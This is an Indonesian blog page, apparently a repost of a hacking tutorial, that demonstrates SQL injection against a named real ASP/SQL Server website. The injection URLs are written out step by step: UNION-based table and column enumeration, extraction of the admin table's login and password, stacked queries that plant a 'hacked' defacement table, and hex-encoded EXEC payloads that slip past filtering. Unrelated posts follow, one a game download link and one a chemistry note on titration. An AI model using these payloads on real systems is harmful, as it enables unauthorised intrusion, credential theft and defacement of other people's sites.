Disana sini sudah banyak sekali dibahas bagaimana mendapatkan struktur table dari sebuah web yang dibangun dengan menggunakan PHP dan MySQL. Dan artikel ini saya bahas bagaimana kita bisa mendapatkan informasi table pada web yang dibangun dari ASP dan SQL Server. Dari pengalaman saya selama ini yang bekerja dengan SQL Server, SQL Server mendukung mendukung penggunaan ”MULTI QUERY” yang mana memberikan keleluasaan bagi kita untuk melakukan select,update,delete,bahkan drop table – query yang krusial bisa kita lakukan.. Dasar Struktur Table SQL.Disini saya akan mengajak sodara sekalian untuk mengeksplorasi sebuah database dengan nama Northwind (database bawaan saat install SQL Server) Dasar Struktur Table SQL.Disini saya akan mengajak sodara sekalian untuk mengeksplorasi sebuah database dengan nama Northwind (database bawaan saat install SQL Server) Dimanakah SQL Server menyimpan semua informasi tabel database tersebut ? SQL Server menyimpan informasi tabel pada sebuah tabel khusus yang diberinama sysobjects dan syscolumns. Apa itu tabel sysobjects ? tabel sysobjects adalah tabel yang menyimpan seluruh informasi mengenai tabel dan tabel syscolumns adalah tabel yang menyimpan seluruh informasi mengenai column2 pada tabel.. Waah... aku gak ngerti apa tuh isinya, bingung gimana nyarinya...” Tenang disinilah trik tersebut dibutuhkan... Kita buka SQL Query Analizer. Kita jalankan Query berikut SELECT sysobjects.name FROM sysobjects (NOLOCK) WHERE sysobjects.type = 'U' Dan apa yang didapatkan itu merupakan semua tabel yang dibuat oleh user (sysobjects.type = `U`) Bagaimana kita mengetahui field-field yang ada pada tabel tersebut? Coba kita modifikasi sedikit script tersebut yang nantinya akan menghasilkan informasi tabel SELECT sysobjects.name AS tablename, syscolumns.name AS columnname FROM sysobjects (NOLOCK) INNER JOIN syscolumns (NOLOCK) ON sysobjects.id = syscolumns.id WHERE sysobjects.type = 'U' ORDER BY sysobjects.id ASC ,syscolumns.colid ASC sysobjects.id adalah field yang mengisi id dari tabel dan syscolumns.colid adalah field yang berisi informasi id dari column di tiap tabelnya Bandingkan dengan screen shoot tabel aslinya dibawah ini. Apakah ada perbedaan? Aku rasa tidak... Implementasi pada website Pada bab ini saya akan menjelaskan dengan semampu saya bagaimana kita melakukan explorasi pada sebuah celah website untuk mendapatkan semua sturktur table.Tentunya sudah tidak asing dengan SQL Injection. Disini saya akan implementasikan query diatas untuk mendapatkan struktur table dari sebuah database website.Dan tentunya akan saya berikan sedikit trik-trik kuno.Saya melakukan googling site yang mengunakan ASP dan aku dapatkan 1 website yang bisa di explore. Demikian langkah2 saya melakukan exploring : 1) saya gunakan tanda single quote ( ' ) emang karakter 1 ini bener2 ampuh, dan hasil yang saya dapat adalah pesan error http://www.dagangasia.com.my/directory/directorydetail.asp?intID=1’5--&t=1 2) gotcha… we have a target now… pertama saya gunakan query order dulu untuk menemukan banyaknya column yang di panggil yah. Mulai dari ORDER BY 1 sampai ORDER BY n yang menghasilkan error. Dan disini saya mendapatkan error saat Query ORDER BY 20 -- . jadi saya asumsikan ada 19 column yang di select 3) Setelah kita melakukan query ORDER, disini kita harus pastikan lagi dengan menggunakan query UNION SELECT. Kira2 querynya adalah begini. http://www.dagangasia.com.my/directory/directorydetail.asp?intID=15 UNION SELECT '1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19';--&t=1 4) LEST GO … cari cari table… kalo ingin mengexplorenya tinggal tambahkan pada query SELECT sysobjects.name, sysobjects.category,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.id > [sysobjects.id yang tampil] http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.category > 453576654 ;--&t=1 hasilnya adalah seperti ini dari execute query diatas didapatkan table banner dengan id = 1829581556, kita bisa lanjutkan untuk mendapatkan semua tabelnya contoh : http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.category > 1829581556 ;--&t=1 dan kita mendapatkan table selanjutnya….. 5) Kita ambil table admin tadi yah, lalu kita select field2nya. Querynya diubah dong kira2 begini nanti SELECT Querynya SELECT sysobjects.name, sysobjects.category, syscolumns.name,'4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.name = ‘admin’ http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,syscolumns.name ,'4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumnssyscolumns.id = sysobjects.id WHERE sysobjects.name = 'admin' ;--&t=1 ON bagaimana kita mendapatkan semua column ? ß good question… Jadi Querynya kita rubah SELECT sysobjects.name, sysobjects.category, syscolumns.name, syscolumns.colid,'5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.name = ‘admin’ AND syscolumns.colid = 1 Kita coba implementasikan wekeke http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,syscolumns.name, syscolumns.colid,'5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.name = 'admin' AND syscolumns.colid = 2 ;--&t=1 6) Saya rasa cukup exploring nya, dan disini finishing touchnya kita select dari field dan table yang sudah kita dapatkan tadi sodara SQLnya kira kira begini SELECT vcAdmin, vcPassword, '3','4','5','6','7','8','9' FROM admin 7) Ada lagi gak yang lebih asik dari itu ? ß tentu ada dong Contoh yang lebih asik adalah sebagai berikut. Saya akan membuat table dengan nama hacked lalu insert ke table CREATE TABLE hacked (isgoingbad varchar (100) , gottcha varchar (2000));INSERT INTO hacked VALUES ('new-bee','new-bee was found a SQL Injection Bugs on this site, but new-bee didn''t want to explore, anybody want to explore it?<br>yeah monggo silahkan...<br><br>dedicate to all indonesian hacker<br><br>best regard<br>new-bee');-- Kita tinggal mengaplikasikan dan mengeksekusinya dan hasilnya bisa dilihat di sini http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT isgoingbad,'2','3','4','5','6','7','8',gottcha FROM hacked;--&t=1 Tips dan Trik Disini saya akan berbagi sedikit trik, terutama saat kita melakukan select struktur table dan struktur column. Sayang sekali SQL tidak dilengkapi dengan function group_concat seperti pada MySQL, tetapi bukan berarti kita bisa melakukan manipulasi dengan segala cara.. jadi ingat kata2 om S’to di bukunya... banyak jalan menuju roma J Saya sudah mencoba membuat sebuah query yang kira2 bentuknya akan begini DECLARE @x varchar(8000) Dan Query diatas berhasil kita bisa membuat function yang mirip dengan group_concat milik MySQL Lalu bagaimana agar kita bisa melakukan SELECT dengan UNION ? Jawabannya adalah, kenapa kita tidak membuat sebuat table dan memasukan hasil select kedalam tabel dan kita melakukan SELECT dari table yang kita buat. Bingung ? udah langsung aja deh 1. Pertama adalah kita membuat sebuah table, saya rasa semua tahu bagaimana cara membuat. Query untuk membuat table adalah CREATE TABLE test (fieldtest text); 2. Setelah itu kita modifikasi SQL diatas agar hasil dari query diatas bisa masuk kedalam table yang baru kita buat. Oke kita modifikasi DECLARE @x varchar(8000) SELECT @x = COALESCE(@x + ', ','') + sysobjects.name FROM sysobjects (NOLOCK) WHERE sysobjects.type = 'U' INSERT INTO test VALUES (@x) Lalu kita coba melakukan select pada table test yang sudah kita isi dengan query diatas SELECT * FROM test 3. Ternyata Query yang kita modifikasi berjalan dengan Sukses, OK kita langsung saja implementasi ke lapangan dengan harapan SQL tersebut tereksekusi dengan baik.. Kita create table terlebih dahulu 4. Kita tidak boleh menyerah, banyak jalan menuju roma, dan yang kita lakukan adalah merubah Query diatas menjadi sekumpulan hexadesimal J Query diatas jika di jadikan hexadecimal kira2 akan seperti ini 0x4445434C41524520407820766172636861722838303030292053454C454354204078203D20434F414C45534 345284078202B20272C20272C272729202B207379736F626A656374732E6E616D652046524F4D207379736F62 6A6563747320284E4F4C4F434B2920494E5345525420494E544F20746573742056414C554553202840782920 DECLARE @a varchar(8000) SET @a = CAST(0x4445434C41524520407820766172636861722838303030292053454C454354204078203D20434F414C45 534345284078202B20272C20272C272729202B207379736F626A656374732E6E616D652046524F4D207379736F6 26A6563747320284E4F4C4F434B2920494E5345525420494E544F20746573742056414C554553202840782920 AS VARCHAR (8000)) EXEC (@a);-- 5. Ternyata Query yang kita modifikasi berjalan dengan Sukses, OK kita langsung saja implementasi ke lapangan dengan harapan SQL tersebut tereksekusi dengan baik.. Karena kita telah membuat table test kita tinggal menjalankan Query untuk mengisi table test http://www.dagangasia.com.my/directory/directoryListing.asp?intID=15;DECLARE @a varchar(8000) SET @a = CAST(0x4445434C41524520407820766172636861722838303030292053454C454354204078203D20434F414C45534345284078 202B20272C20272C272729202B207379736F626A656374732E6E616D652046524F4D207379736F626A6563747320284E4F4C4F4 34B2920494E5345525420494E544F20746573742056414C554553202840782920 AS VARCHAR (8000)) EXEC (@a);-- Dan tidak ada error, hore hore hore…. Akhirnya bisa juga di execute querynya... oops apakah bener Query tersebut sukses di execute ? 6. Sebagai penutup dari trik ini saya akan melakukan SELECT dari table test yang telah kita buat diatas Kesimpulan Bener bener deh, jika kita tidak mudah menyerah dan mau sedikit berimprovisasi kita akan mendapatkan segala sesuatu yang kita inginkan
Sebelum saya membahas cara-cara untuk mendapatkan struktur table, alangkah baiknya jiika saya menjelaskan sedikit tentang struktur table di SQL Server…
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=15 ORDER BY 20 --&t=1
Berharap mendapatkan sesuatu yang berharga, tapi apa yang aku dapatkan adalah error. Mulai memutar otak kembali dan akhirnya melakukan select manual
Akhirnya berhasil, Query sukses di execute pada SELECT 9 column
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=15 UNION SELECT '1','2','3','4','5','6','7','8','9';--&t=1
untuk mencari tabel kita gunakan query yang sudah saya bahas pada dasar SQL diatas.Sayang sekali di SQL Server tidak ada function yg sejenis dengan group_concat milik MySQL. Jadi disini kita harus melakukan select 1 / 1
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.id,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id ;--&t=1
wohoho langsung ketemu table admin
WHERE sysobjects.id > … kira2 SQL nya seperti ini
pada table syscolumns disediakan field yang namanya colid (column id) disanalah kita explore
dan hasilnya adalah yeah password dan user untuk login sebagai super admin
1. Create database à bisa
2. Insert à bisa
3. Drop tabel à bisa dong
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0; CREATE TABLE hacked (isgoingbad varchar (100) , gottcha varchar (2000));-- INSERT INTO hacked VALUES ('new-bee','new-bee was found a SQL Injection Bugs on this site, but new-bee didn''t want to explore, anybody want to explore it?<br>yeah monggo silahkan...<br><br>dedicate to all indonesian hacker<br><br>best regard<br>new-bee');--&t=1
SELECT @x = COALESCE(@x + ', ','') + sysobjects.name FROM sysobjects (NOLOCK) WHERE sysobjects.type = 'U'
SELECT @x
http://www.dagangasia.com.my/directory/directoryListing.asp?intID=15;CREATE TABLE test (fieldtest varchar(8000));--
Tidak ada error terjadi, setelah itu kita execute Query selanjutnya
http://www.dagangasia.com.my/directory/directoryListing.asp?intID=15;DECLARE @x varchar(8000) SELECT @x = COALESCE(@x + ', ','') + sysobjects.name FROM sysobjects (NOLOCK) WHERE sysobjects.type = 'U' INSERT INTO test VALUES (@x);--
Tidaaaak… terdapat error, dan setelah saya melakukan trial dan error ternyata disebabkan tanda + pada Query tersebut dianggap “ “ (space) oleh browser, sehingga kita tidak bisa melakukan execute terhadap Query diatas L
Lalu bagaimana kita membuat execute untuk hexadecimal diatas ? saya sudah membuat Querynya mudah mudahan berhasil
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT fieldtest,‘2’,'3','4','5','6','7','8','9' FROM test ;--&t=1 Terima Kasih telah meluangkan waktu untuk membaca artikel yang panjang dan cupu ini.. Jika ada kesalahan kata maupun ada teknik yang lebih keren... Mohon artikel ini diperbaiki..... Thanks to semuanya yang sudah membantu baik dukungan moril maupun materiil ... Viva Indonesia...
dikutip dari : http://www.jasakom.com/
ditulis oleh : new-bee
OzE Travel
Category
Blog Archive
Liat Juga nih
-
Jaguar Single Kick16 years ago
-
-
-
-
Link DonloT Sopwer
Monday, December 22, 2008
Explore SQLi untuk mendapatkan struktur table pada ASP – SQL Server
Posted by
OrgCraze Blog Site
at
11:58 PM
0
comments
Labels: Hacking
Sunday, December 14, 2008
Stronghold Crusader

Firefly Studios has decided to earn additionally quickly, having let out the improved version old RTS Stronghold Crusader. The new edition — Stronghold Crusader Extreme — will offer new AI-contenders and a map which appeared only in the limited edition for the USA, additional tactical possibilities, “extreme” campaign and fights with participation to 10000 спрайтовых units (screenshots more low — truly see, «horses, people» have mixed up in a heap!) . At last, now Stronghold Crusader it is completely compatible with Windows Vista.
Name: Stronghold Crusader Extreme
Manufacturer: FireFly Studios
Year of release: 2008
Genre: Strategy (Real-time) / Isometric
Language: English
Features of game:
- 8 new opponents
- 10000 soldiers simultaneously on a map
- It is optimised under Vista
- Possibility to treat soldiers
- Occurrence of two new buildings
- Occurrence of new units
Minimum system requirements:
Operating system: Windows 98/Me/2000/XP/Vista
Processor: Pentium III 500 MHz
Memory: 128 MB
Video map: 4 MB
Audiomap: Compatible with DirectX 8.1
Empty seat: 850 MB
CD-drive: 8х
Download Stronghold Crusader Extreme:
http://letitbit.net/download/beeae9447175/Stronghold.Crusader.Extreme.rar.html
Posted by
OrgCraze Blog Site
at
5:29 PM
0
comments
Labels: Fun
Asidimetri
Asidimetri adalah pengukuran konsentrasi asam dengan menggunakan larutan baku basa, sedangkan alkalimeteri adalah pengukuran konsentrasi basa dengan menggunakan larutan baku asam. Oleh sebab itu, keduanya disebut juga sebagai titrasi asam-basa. Dari kedua reaksi di atas dapat disimpulkan bahwa prinsip reaksi titrasi asam basa adalah reaksi penetralan, yakni ; H+ + OH -→ H2O dan terdiri dari beberapa kemungkinan yaitu reaksi-rekasi antara asam kuat dengan basa kuat, asam kuat dan basa lemah, asam lemah dan basa kuat, serta asam lemah dan basa lemah. Khusus reaksi antara asam lemah dan basa lemah tidak dapat digunakan dalam analisis kuantitatif, karena pada titik ekivalen yang terbentuk akan terhidrolisis kembali sehingga titik akhir titrasi tidak dapat diamati. Hal ini yang menyebabkan bahwa titran biasanya merupakan larutan baku elektrolit kuat seperti NaOH dan HCl. Perhitungan titrasi asam basa didasarkan pada reaksi pentralan, menggunakan dua macam cara, yaitu : 1. Berdasarkan logika bahwa pada reaksi penetralan, jumlah ekivalen (grek) asam yang bereaksi sama dengan jumlah ekivalen (grek) basa. Diketahui : grek (garam ekivalensi) = Volume (V) x Normalitas (N), Maka pada titik ekivalen : V asam x N asam = V basa x N basa; atau V1 + N1 = V2 + N 2 Untuk asam berbasa satu dan basa berasam satu, normalitas sama dengan molaritas, berarti larutan 1 M = 1 N. Akan tetapi untuk asam berbasa dua dan basa berasam dua 1 M = 1 N. 2. Berdasarkan koifisein reaksi atau pensetaraan jumlah mol Misalnya untuk reaksi : 2 NaOH + (COOH)2→(COONa) + H2O (COOH)2 = 2 NaOH Jika M1 adalah molaritas NaOH dan V1 adalah volume NaOH, sedangkan M2 adalah molaritas (COOH)2 dan V2 adalah volume (COOH)2, maka : V1 M1 2 V2 M 2 1 Oleh sebab itu : V Na Oh x M NaOH x 1 = V (COOH)2 x M (COOH)2 x 2
Titrasi adalah proses mengukur volume larutan yang terdapat dalam buret yang ditambahkan ke dalam larutan lain yang diketahui volumenya sampai terjadi reaksi sempurna. Atau dengan perkataan lain untuk mengukur volume titran yang diperlukan untuk mencapai titik ekivalen. Titik ekivalen adalah saat yang menunjukkan bahwa ekivalen perekasi-pereaksi sama. Di dalam prakteknya titik ekivalen sukar diamati, karena hanya meruapakan titik akhir teoritis atau titik akhir stoikometri. Hal ini diatasi dengan pemberian indikator asam-basa yang membantu sehingga titik akhir titrasi dapat diketahui. Titik akhir titrasi meruapakan keadaan di mana penambahan satu tetes zat penitrasi (titran) akan menyebabkan perubahan warna indikator. Kadua cara di atas termasuk analisis titrimetri atau volumetrik. Selama bertahun-tahun istilah analisis volumetrik lebih sering digunakan dari pada titrimetrik. Akan tetatpi, dilihat dari segi yang yang keta, “titrimetrik” lebih baik, karena pengukuran volume tidak perlu dibatasi oleh titrasi.
Rekasi-reaksi kima yang dapat diterima sebagai dasar penentuan titrimetrik asam-basa adalah sebagai berikut :
Posted by
OrgCraze Blog Site
at
5:25 PM
0
comments
Labels: KIMIA